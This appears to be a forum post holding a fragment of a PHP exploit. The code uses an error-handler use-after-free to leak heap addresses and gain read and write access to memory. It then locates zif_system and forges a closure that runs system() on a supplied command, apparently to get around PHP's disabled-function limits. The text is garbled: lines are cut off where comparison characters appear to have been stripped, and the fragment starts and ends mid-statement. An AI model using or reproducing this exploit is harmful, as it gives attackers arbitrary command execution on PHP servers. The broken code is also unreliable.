Код:
Code:
heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);
$this->abc = self::alloc(self::STRING_SIZE);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address